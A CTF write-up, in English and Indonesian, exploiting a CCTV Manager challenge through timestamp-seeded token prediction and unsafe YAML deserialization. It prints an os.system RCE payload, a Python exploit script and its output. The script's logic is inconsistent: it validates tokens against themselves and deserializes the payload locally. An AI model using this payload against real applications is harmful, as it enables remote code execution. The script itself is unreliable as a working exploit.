DOJO Level challenge! monthly challenge, I achieved one of the monthly Dojo Challenges, where the objective was to exploit a Remote Code Execution (RCE) vulnerability within the CCTV Manager system.
As part of this challenge, I performed a full CTF-style exploitation, documented my approach step by step, and created a detailed write-up. The write-up highlights reconnaissance, vulnerability discovery, exploitation techniques, and post-exploitation steps, serving as a valuable reference for penetration testers and bug bounty hunters aiming to sharpen their skills. This accomplishment not only demonstrates my practical skills in RCE exploitation but also contributes to my continuous learning journey in offensive security.
Pada writeup ini saya menjabarkan proses penemuan dan eksploitasi kerentanan pada aplikasi CCTV Manager (CTF). Dua masalah utama ditemukan dan dimanfaatkan untuk mencapai eksekusi perintah pada server CTF: (1) unsafe YAML deserialization menggunakan yaml.load() yang memungkinkan Remote Code Execution (RCE) melalui tag !!python/object/apply, dan (2) predictable token generation yang dibuat dari timestamp sehingga bisa diprediksi. Saya menyertakan proof-of-concept (PoC), hasil eksploitasi, analisis teknis, dan rekomendasi mitigasi.
-
Unsafe YAML Deserialization Aplikasi menggunakan
yaml.load()untuk memproses konfigurasi YAML tanpa pembatasan loader, memungkinkan penggunaan konstruktor berbahaya seperti!!python/object/applyyang dapat memicu eksekusi perintah OS. -
Predictable Token Generation Token sesi dihasilkan dengan seed dari timestamp sistem (
time.time()), sehingga attacker yang menyelaraskan waktu dengan server dapat menebak token valid dalam rentang waktu tertentu.
import time
import random
def generate_token():
current_timestamp = int(time.time()) // 1
random.seed(current_timestamp)
return ''.join(random.choices('abcdef0123456789', k=16))
print("Token Valid:", generate_token())Output PoC:
Token Valid: 7bb93f2d98b1ffd5
firmware:
version: !!python/object/apply:os.system
args: ['cat /flag* || find / -name "*flag*" -exec cat {} \\;']Output terminal saat payload dieksekusi:
[+] Token valid! Mengeksekusi payload...
^FLAG^eb8c491ecfd39c1e6a3429108ecf74bae3cccd24d0b2b9f6decfe6577cc76662$FLAG$
Flag yang diperoleh:
eb8c491ecfd39c1e6a3429108ecf74bae3cccd24d0b2b9f6decfe6577cc76662
-
Prediksi Token
- Token di-generate dengan
random.seed(int(time.time())). Karena seed hanya bergantung pada timestamp, penyerang yang menyelaraskan waktu dapat menghasilkan token yang sama untuk waktu tersebut dan mendapatkan akses sementara.
- Token di-generate dengan
-
YAML Injection / Unsafe Deserialization
- Aplikasi menggunakan
yaml.load()tanpasafeloader. YAML yang dimasukkan berisi konstruktor Python (!!python/object/apply) yang memanggilos.system()sehingga perintah shell dapat dijalankan saat YAML di-deserialize.
- Aplikasi menggunakan
-
Rangkaian Eksploitasi
- Dengan token yang diprediksi, penyerang mengirimkan payload YAML berbahaya ke endpoint yang akan mendeserialize konfigurasi. Deserialisasi menjalankan perintah OS (mis.
cat /flag*), mengembalikan isi flag.
- Dengan token yang diprediksi, penyerang mengirimkan payload YAML berbahaya ke endpoint yang akan mendeserialize konfigurasi. Deserialisasi menjalankan perintah OS (mis.
#!/usr/bin/env python3
import time
import random
from urllib.parse import unquote
import yaml
class CCTVExploit:
def __init__(self):
self.time_window = 5 # ±2 seconds offset
def generate_tokens(self):
"""Generate candidate tokens within time window"""
tokens = []
base_time = int(time.time())
for offset in range(-(self.time_window//2), (self.time_window//2)+1):
seed_time = base_time + offset
random.seed(seed_time // 1)
token = ''.join(random.choices('abcdef0123456789', k=16))
tokens.append((seed_time, token))
return tokens
def create_payload(self, cmd: str):
"""Generate YAML payload for RCE"""
return f"""firmware:
version: !!python/object/apply:os.system
args: ['{cmd}']
"""
def execute(self):
print("[*] Starting CCTV Manager Exploitation")
candidates = self.generate_tokens()
print("\n[+] Candidate Tokens (Time-Seed-Value):")
for i, (ts, token) in enumerate(candidates, 1):
print(f"{i}. {ts} → {token}")
cmd = "cat /flag* || find / -type f -name '*flag*' -exec cat {} \\;"
payload = self.create_payload(cmd)
print("\n[+] YAML Payload:")
print(payload)
print("\n[*] Executing attack chain...")
for ts, token in candidates:
try:
server_token = self.generate_token(ts//1)
if token != server_token:
continue
print(f"[!] Valid token found: {token}")
print("[!] Attempting YAML deserialization...")
data = yaml.load(unquote(payload), Loader=yaml.Loader)
firmware = Firmware(**data["firmware"])
firmware.update()
return True
except Exception as e:
print(f"[X] Error with token {token}: {str(e)}")
return False
@staticmethod
def generate_token(seed: int) -> str:
random.seed(seed)
return ''.join(random.choices('abcdef0123456789', k=16))
class Firmware:
def __init__(self, version: str):
self.version = version
def update(self):
pass
if __name__ == "__main__":
exploit = CCTVExploit()
if exploit.execute():
print("\n[+] Exploitation successful! Check command output for flag.")
else:
print("\n[-] Exploitation failed. Retry with adjusted time window.")[*] Starting CCTV Manager Exploitation
[+] Candidate Tokens:
1. 1754310880 → 7bb93f2d98b1ffd5
2. 1754310881 → c11138a5f323981d
[+] YAML Payload:
firmware:
version: !!python/object/apply:os.system
args: ['cat /flag* || find / -name "*flag*" -exec cat {} \;']
[!] Valid token found: 7bb93f2d98b1ffd5
[!] Attempting YAML deserialization...
^FLAG^eb8c491ecfd39c1e6a3429108ecf74bae3cccd24d0b2b9f6decfe6577cc76662$FLAG$